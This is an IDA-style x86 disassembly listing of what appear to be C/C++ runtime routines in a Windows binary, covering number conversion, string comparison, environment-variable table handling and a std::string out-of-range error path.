		jmp	short loc_425C72
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425A96+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425C72
; ---------------------------------------------------------------------------


loc_425C6F:				; CODE XREF: sub_425A96+1ABj
		inc	[ebp+var_24+2]


loc_425C72:				; CODE XREF: sub_425A96+1A5j
					; sub_425A96+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425C96
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425C90:				; CODE XREF: sub_425A96+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425CB1
; ---------------------------------------------------------------------------


loc_425C96:				; CODE XREF: sub_425A96+42j
					; sub_425A96+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425CB1:				; CODE XREF: sub_425A96+ABj
					; sub_425A96+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425CB6	proc near		; CODE XREF: sub_4250CD+440p
					; sub_42559E+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43B158
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425D2F
		jge	short loc_425CDE
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43B2B8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425CDE:				; CODE XREF: sub_425CB6+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425CE9
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425CE9:				; CODE XREF: sub_425CB6+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425D2F
		push	esi
		push	edi


loc_425CF0:				; CODE XREF: sub_425CB6+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425D28
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425D1B
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425D1B:				; CODE XREF: sub_425CB6+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425A96
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425D28:				; CODE XREF: sub_425CB6+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425CF0
		pop	edi
		pop	esi


loc_425D2F:				; CODE XREF: sub_425CB6+14j
					; sub_425CB6+36j
		pop	ebx
		leave
		retn
sub_425CB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D32	proc near		; CODE XREF: sub_4259A3+5Ep
					; sub_42620E+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425D3F
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425D3F:				; CODE XREF: sub_425D32+7j
		push	dword_4DAB64
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DAD84
		call	sub_425DDF
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425D6C
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425D6C:				; CODE XREF: sub_425D32+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425D32	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D71	proc near		; CODE XREF: sub_4259A3+1Ep
					; sub_426087+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4D9744
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425DD2
		mov	ebx, dword_427194


loc_425D8A:				; CODE XREF: sub_425D71+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425DDA
		push	ebp
		call	sub_41BC9B
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425DDA
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425DDA
		push	edi
		push	[esp+18h+var_4]
		call	sub_426087
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425D8A


loc_425DD2:				; CODE XREF: sub_425D71+11j
		xor	eax, eax


loc_425DD4:				; CODE XREF: sub_425D71+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425DDA:				; CODE XREF: sub_425D71+29j
					; sub_425D71+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425DD4
sub_425D71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDF	proc near		; CODE XREF: sub_425D32+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CB8
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4D9A20, ebx
		push	1
		pop	edi
		jnz	short loc_425E52
		push	edi
		mov	eax, offset dword_427908
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_425E2F
		mov	dword_4D9A20, edi
		jmp	short loc_425E52
; ---------------------------------------------------------------------------


loc_425E2F:				; CODE XREF: sub_425DDF+46j
		push	edi
		mov	eax, offset word_4C91BC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25E0707h
		nop
		test	eax, eax
		jz	loc_426048
		mov	dword_4D9A20, 2


loc_425E52:				; CODE XREF: sub_425DDF+31j
					; sub_425DDF+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425E69
		push	esi
		push	[ebp+arg_8]
		call	sub_42605C
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425E69:				; CODE XREF: sub_425DDF+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425E7E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_42605C
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425E7E:				; CODE XREF: sub_425DDF+8Dj
		mov	eax, dword_4D9A20
		cmp	eax, 2
		jnz	short loc_425EA3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0707h
		jmp	loc_42604A
; ---------------------------------------------------------------------------


loc_425EA3:				; CODE XREF: sub_425DDF+A7j
		cmp	eax, edi
		jnz	loc_426048
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425EB8
		mov	eax, dword_4D97E0
		mov	[ebp+arg_18], eax


loc_425EB8:				; CODE XREF: sub_425DDF+CFj
		cmp	esi, ebx
		jz	short loc_425EC5
		cmp	[ebp+arg_14], ebx
		jnz	loc_425F5D


loc_425EC5:				; CODE XREF: sub_425DDF+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425ED2


loc_425ECA:				; CODE XREF: sub_425DDF+13Cj
					; sub_425DDF+16Dj
		push	2


loc_425ECC:				; CODE XREF: sub_425DDF+146j
		pop	eax
		jmp	loc_42604A
; ---------------------------------------------------------------------------


loc_425ED2:				; CODE XREF: sub_425DDF+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_425EDE


loc_425ED7:				; CODE XREF: sub_425DDF+151j
					; sub_425DDF+159j ...
		mov	eax, edi
		jmp	loc_42604A
; ---------------------------------------------------------------------------


loc_425EDE:				; CODE XREF: sub_425DDF+F6j
		cmp	esi, edi
		jg	short loc_425F23
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 265071Dh
		test	eax, eax
		jz	loc_426048
		cmp	esi, ebx
		jle	short loc_425F27
		cmp	[ebp+var_3C], 2
		jb	short loc_425F23
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425F23


loc_425F09:				; CODE XREF: sub_425DDF+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425F23
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_425F1D
		cmp	cl, dl
		jbe	short loc_425ECA


loc_425F1D:				; CODE XREF: sub_425DDF+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_425F09


loc_425F23:				; CODE XREF: sub_425DDF+101j
					; sub_425DDF+120j ...
		push	3
		jmp	short loc_425ECC
; ---------------------------------------------------------------------------


loc_425F27:				; CODE XREF: sub_425DDF+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_425F5D
		cmp	[ebp+var_3C], 2
		jb	short loc_425ED7
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425ED7


loc_425F3A:				; CODE XREF: sub_425DDF+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425ED7
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_425F52
		cmp	cl, dl
		jbe	loc_425ECA


loc_425F52:				; CODE XREF: sub_425DDF+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_425F3A
		jmp	loc_425ED7
; ---------------------------------------------------------------------------


loc_425F5D:				; CODE XREF: sub_425DDF+E0j
					; sub_425DDF+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_426048
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_425FAC
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_425FAC:				; CODE XREF: sub_425DDF+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_426048
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_4270F0
		call	esi
		test	eax, eax
		jz	short loc_426048
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_426048
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426017
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_426017:				; CODE XREF: sub_425DDF+224j
		cmp	edi, ebx
		jz	short loc_426048
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_426048
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		jmp	short loc_42604A
; ---------------------------------------------------------------------------


loc_426048:				; CODE XREF: sub_425DDF+63j
					; sub_425DDF+C6j ...
		xor	eax, eax


loc_42604A:				; CODE XREF: sub_425DDF+BFj
					; sub_425DDF+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42605C	proc near		; CODE XREF: sub_4229D2+81p
					; sub_425DDF+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426079


loc_42606C:				; CODE XREF: sub_42605C+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_426079
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_42606C


loc_426079:				; CODE XREF: sub_42605C+Ej
					; sub_42605C+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_426084
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_426084:				; CODE XREF: sub_42605C+21j
		mov	eax, edx
		retn
sub_42605C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426087	proc near		; CODE XREF: sub_425D71+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4260EB
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4262CD
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4260EB
		cmp	[ebp+arg_0], esi
		jz	short loc_4260EB
		mov	eax, dword_4D973C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4D9740
		jnz	short loc_4260D1
		push	eax
		call	sub_426266
		pop	ecx
		mov	dword_4D973C, eax


loc_4260D1:				; CODE XREF: sub_426087+3Cj
		cmp	eax, edi
		jnz	short loc_426129
		cmp	[ebp+arg_4], edi
		jz	short loc_4260F3
		cmp	dword_4D9744, edi
		jz	short loc_4260F3
		call	sub_425D71
		test	eax, eax
		jz	short loc_426129


loc_4260EB:				; CODE XREF: sub_426087+Dj
					; sub_426087+22j ...
		or	eax, 0FFFFFFFFh


loc_4260EE:				; CODE XREF: sub_426087+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4260F3:				; CODE XREF: sub_426087+51j
					; sub_426087+59j
		cmp	ebx, edi
		jnz	loc_426207
		push	4
		call	sub_41BC9B
		cmp	eax, edi
		pop	ecx
		mov	dword_4D973C, eax
		jz	short loc_4260EB
		mov	[eax], edi
		cmp	dword_4D9744, edi
		jnz	short loc_426129
		push	4
		call	sub_41BC9B
		cmp	eax, edi
		pop	ecx
		mov	dword_4D9744, eax
		jz	short loc_4260EB
		mov	[eax], edi


loc_426129:				; CODE XREF: sub_426087+4Cj
					; sub_426087+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4D973C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_42620E
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_426189
		cmp	dword ptr [edi], 0
		jz	short loc_426189
		test	ebx, ebx
		jz	short loc_426181
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41BA31
		pop	ecx


loc_42615B:				; CODE XREF: sub_426087+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42616B
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42615B
; ---------------------------------------------------------------------------


loc_42616B:				; CODE XREF: sub_426087+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41BB48
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4261BB
		jmp	short loc_4261B6
; ---------------------------------------------------------------------------


loc_426181:				; CODE XREF: sub_426087+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4261BB
; ---------------------------------------------------------------------------


loc_426189:				; CODE XREF: sub_426087+BDj
					; sub_426087+C2j
		test	ebx, ebx
		jnz	short loc_426207
		test	esi, esi
		jge	short loc_426193
		neg	esi


loc_426193:				; CODE XREF: sub_426087+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41BB48
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4260EB
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4261B6:				; CODE XREF: sub_426087+F8j
		mov	dword_4D973C, eax


loc_4261BB:				; CODE XREF: sub_426087+F6j
					; sub_426087+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_426207
		push	[ebp+arg_0]
		call	sub_41B960
		inc	eax
		inc	eax
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_426207
		push	[ebp+arg_0]
		push	esi
		call	sub_41C620
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25D0000h
		nop
		push	esi
		call	sub_41BA31
		pop	ecx


loc_426207:				; CODE XREF: sub_426087+6Ej
					; sub_426087+104j ...
		xor	eax, eax
		jmp	loc_4260EE
sub_426087	endp


; =============== S U B	R O U T	I N E =======================================



sub_42620E	proc near		; CODE XREF: sub_426087+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4D973C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_426249
		mov	edi, [esp+8+arg_4]


loc_426220:				; CODE XREF: sub_42620E+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425D32
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42623F
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_426259
		test	al, al
		jz	short loc_426259


loc_42623F:				; CODE XREF: sub_42620E+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426220


loc_426249:				; CODE XREF: sub_42620E+Cj
		mov	eax, esi
		sub	eax, dword_4D973C
		sar	eax, 2
		neg	eax


loc_426256:				; CODE XREF: sub_42620E+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426259:				; CODE XREF: sub_42620E+2Bj
					; sub_42620E+2Fj
		mov	eax, esi
		sub	eax, dword_4D973C
		sar	eax, 2
		jmp	short loc_426256
sub_42620E	endp


; =============== S U B	R O U T	I N E =======================================



sub_426266	proc near		; CODE XREF: sub_426087+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426275
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426275:				; CODE XREF: sub_426266+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_426287


loc_42627D:				; CODE XREF: sub_426266+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_42627D


loc_426287:				; CODE XREF: sub_426266+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4262A8
		push	9
		call	sub_41E1C9
		pop	ecx


loc_4262A8:				; CODE XREF: sub_426266+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4262AC:				; CODE XREF: sub_426266+5Bj
		test	eax, eax
		jz	short loc_4262C3
		push	eax
		add	ebx, 4
		call	sub_426340
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4262AC
; ---------------------------------------------------------------------------


loc_4262C3:				; CODE XREF: sub_426266+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_426266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4262CD	proc near		; CODE XREF: sub_426087+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DAB7C, 0
		jnz	short loc_4262E8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C720
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4262E8:				; CODE XREF: sub_4262CD+Aj
		mov	ecx, [ebp+arg_0]


loc_4262EB:				; CODE XREF: sub_4262CD+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_42632E
		movzx	edx, al
		test	byte_4DAC81[edx], 4
		jz	short loc_42631A
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426325
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_426329
		jmp	short loc_426322
; ---------------------------------------------------------------------------


loc_42631A:				; CODE XREF: sub_4262CD+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_42632E


loc_426322:				; CODE XREF: sub_4262CD+4Bj
		inc	ecx
		jmp	short loc_4262EB
; ---------------------------------------------------------------------------


loc_426325:				; CODE XREF: sub_4262CD+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426329:				; CODE XREF: sub_4262CD+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42632E:				; CODE XREF: sub_4262CD+25j
					; sub_4262CD+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4262CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_426340	proc near		; CODE XREF: sub_4183EC+21p
					; sub_426266+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_426367
		push	esi
		call	sub_41B960
		inc	eax
		push	eax
		call	sub_41BC9B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_426367
		push	esi
		push	eax
		call	sub_41C620
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426367:				; CODE XREF: sub_426340+7j
					; sub_426340+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426370	proc near		; CODE XREF: sub_426453+19p
					; sub_42657A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B960
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9A4
		mov	eax, esi
		pop	esi
		retn	8
sub_426370	endp


; =============== S U B	R O U T	I N E =======================================



sub_42639A	proc near		; CODE XREF: ___:004263C5p
					; sub_426448+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_40D968
		mov	ecx, esi
		pop	esi
		jmp	sub_42681F
sub_42639A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263B5	proc near		; DATA XREF: ___:00427CD8o
					; ___:00427CE8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4263C1
		mov	eax, offset dword_4276A0

locret_4263C1:				; CODE XREF: sub_4263B5+5j
		retn
sub_4263B5	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, ecx
		call	sub_42639A
		test	byte ptr [esp+8], 1
		jz	short loc_4263D8
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_4263D8:				; CODE XREF: ___:004263CFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4263DE	proc near		; CODE XREF: sub_426453+29p
		mov	eax, offset loc_426D9E
		call	sub_41D3D0
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CF0
		call	sub_426798
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_426490
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CE4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4263DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42642C	proc near		; DATA XREF: ___:off_427CE4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426448
		test	[esp+4+arg_0], 1
		jz	short loc_426442
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_426442:				; CODE XREF: sub_42642C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42642C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426448	proc near		; CODE XREF: sub_42642C+3p
					; DATA XREF: ___:0042805Co
		mov	dword ptr [ecx], offset	off_427CE4
		jmp	sub_42639A
sub_426448	endp


; =============== S U B	R O U T	I N E =======================================



sub_426453	proc near		; CODE XREF: sub_40D815+13p
					; sub_40D9D9+Ep
		mov	eax, offset loc_426DB0
		call	sub_41D3D0
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426370
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4263DE
		push	offset dword_428058
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426842
		int	3		; Trap to Debugger
sub_426453	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_4263DE+32p
					; sub_4264B0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D815
		mov	eax, esi
		pop	esi
		retn	4
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264B0	proc near		; CODE XREF: sub_42657A+29p
		mov	eax, offset loc_426DC2
		call	sub_41D3D0
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CF0
		call	sub_426798
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_426490
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264F8	proc near		; CODE XREF: sub_426562+7p
					; sub_4265BE+7p ...
		mov	eax, offset loc_426DD4
		call	sub_41D3D0
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_4267D5
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_426490
